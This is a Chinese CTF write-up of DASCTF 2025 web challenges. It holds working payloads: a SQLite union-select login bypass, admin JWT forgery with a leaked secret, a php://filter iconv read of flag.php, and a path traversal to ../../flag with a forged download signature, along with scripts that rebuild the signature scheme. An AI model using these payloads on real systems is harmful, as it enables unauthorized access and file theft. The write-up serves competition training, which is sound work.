DASCTF2025下半年 web wp

web去跟misc坐一桌

SecretPhotoGallery

讨厌黑盒题

0x01 万能密码

题目描述说存在sqlite sql注入但数据库为空

确实用sqlmap跑了半天啥也没有,想到万能密码但是没打进去,直到把sqlmap level参数调高一点有了新发现

抓一下包看看怎么进去的

第一次见联合查询的万能密码,不知道后端咋写的,稍微修改一下payload

1
username=111' union select null,null,null --&password=111

0x02 jwt越权

看来是要越权,看一下cookie是jwt格式的,密钥居然藏在注释里,也是够无聊的

拼接一下

1
GALLERY2024SECRET

签一下admin,我更喜欢用老版的

0x03 文件包含

又到了猜flag位置的环节,包含到flag.php时有了内容但不全

猜测是藏到注释里了,需要用伪协议读一下

base64、rot13都被过滤了,随便换一个编码就行

1
php://filter/read=convert.iconv.utf8.utf16/resource=flag.php

devweb

没做出来复现一下

0x01 /login

开局一个登录框没什么用

f12发现超大js

可以从路由入手,先找到/login的逻辑

丢给gpt

密码用RSA公钥加密后又进行了一次base64,公钥给了(在/login注释附近)

1
//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

编写脚本并发包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
from cryptography.hazmat.primitives.serialization import load_der_public_key
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

public_key_b64 = (
    "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/"
    "iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ"
    "8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619"
    "aaw0Md9MNvn3w0JAgMBAAE="
)

password = "123456"

public_key_der = base64.b64decode(public_key_b64)
public_key = load_der_public_key(public_key_der)

encrypted_bytes = public_key.encrypt(
    password.encode("utf-8"),
    padding.PKCS1v15()
)

encrypted_b64 = base64.b64encode(encrypted_bytes).decode()

print("最终密文:")
print(encrypted_b64)

重定向到/dashboard

但有了cookie

0x02 /download

继续寻找路由发现了/download

有了上面的cookie尝试访问一下

1
/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6

下载了这么个东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
    <hashTree>
        <TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
            <stringProp name="TestPlan.functional_mode">false</stringProp>
            <boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
            <elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                <collectionProp name="Arguments.arguments">
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
                        <stringProp name="Argument.name">mingWen</stringProp>
                        <stringProp name="Argument.value">test</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
                        <stringProp name="Argument.name">salt</stringProp>
                        <stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                </collectionProp>
            </elementProp>
            <stringProp name="TestPlan.comments_or_notes"/>
            <boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
        </TestPlan>
        <hashTree>
            <ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
                <stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
                <elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
                    <boolProp name="LoopController.continue_forever">false</boolProp>
                    <intProp name="LoopController.loops">1</intProp>
                </elementProp>
                <stringProp name="ThreadGroup.num_threads">1</stringProp>
                <stringProp name="ThreadGroup.ramp_time">1</stringProp>
                <longProp name="ThreadGroup.start_time">0</longProp>
                <longProp name="ThreadGroup.end_time">0</longProp>
                <boolProp name="ThreadGroup.scheduler">false</boolProp>
                <stringProp name="ThreadGroup.duration"></stringProp>
                <stringProp name="ThreadGroup.delay"></stringProp>
                <boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
            </ThreadGroup>
            <hashTree>
                <JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
                    <stringProp name="JSR223PreProcessor.language">groovy</stringProp>
                    <stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
                    <stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
                    <stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
                    <stringProp name="JSR223PreProcessor.script">
                        def mingWen = vars.get('mingWen');
                        def firstMi = DigestUtils.md5Hex(mingWen);
                        def jieStr = firstMi.substring(5, 16);
                        def salt = vars.get('salt');
                        def newStr = firstMi + jieStr + salt;
                        def sign = DigestUtils.md5Hex(newStr);
                        vars.put('sign', sign);
                    </stringProp>
                </JSR223PreProcessor>
                <hashTree/>
                <HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
                    <boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
                    <stringProp name="Comment"/>
                    <elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                        <collectionProp name="Arguments.arguments">
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
                                <stringProp name="Argument.name">file</stringProp>
                                <stringProp name="Argument.value">test</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
                                <stringProp name="Argument.name">sign</stringProp>
                                <stringProp name="Argument.value">${sign}</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                        </collectionProp>
                    </elementProp>
                    <stringProp name="HTTPSampler.domain">localhost</stringProp>
                    <stringProp name="HTTPSampler.port">8080</stringProp>
                    <stringProp name="HTTPSampler.protocol">http</stringProp>
                    <stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
                    <stringProp name="HTTPSampler.path">/download</stringProp>
                    <stringProp name="HTTPSampler.method">GET</stringProp>
                    <boolProp name="HTTPSampler.follow_redirects">true</boolProp>
                    <boolProp name="HTTPSampler.auto_redirects">false</boolProp>
                    <boolProp name="HTTPSampler.use_keepalive">true</boolProp>
                    <boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
                    <stringProp name="HTTPSampler.body_data"/>
                    <boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
                    <stringProp name="HTTPSampler.proxy_host"/>
                    <stringProp name="HTTPSampler.proxy_port"/>
                    <stringProp name="HTTPSampler.proxy_username"/>
                    <stringProp name="HTTPSampler.proxy_password"/>
                    <stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
                </HTTPSamplerProxy>
                <hashTree/>
            </hashTree>
        </hashTree>
    </hashTree>
</jmeterTestPlan>

丢给ai

改成python脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import hashlib

def calc_sign(mingwen, salt):
    first_md5 = hashlib.md5(mingwen.encode()).hexdigest()
    jie_str = first_md5[5:16]
    new_str = first_md5 + jie_str + salt
    return hashlib.md5(new_str.encode()).hexdigest()

mingWen = "app.jmx"#修改成文件名即可
salt = "f9bc855c9df15ba7602945fb939deefc"

sign = calc_sign(mingWen, salt)
print(sign)

0x03 ../../flag

../../flag找到flag

1
/download?file=../../flag&sign=0e8eb4d606b21517ca7f9bee140c9db6

参考文章:https://mp.weixin.qq.com/s/CCsdqEK_HOlE4eXj7QDEnQ

Sunset

0解题等待wp…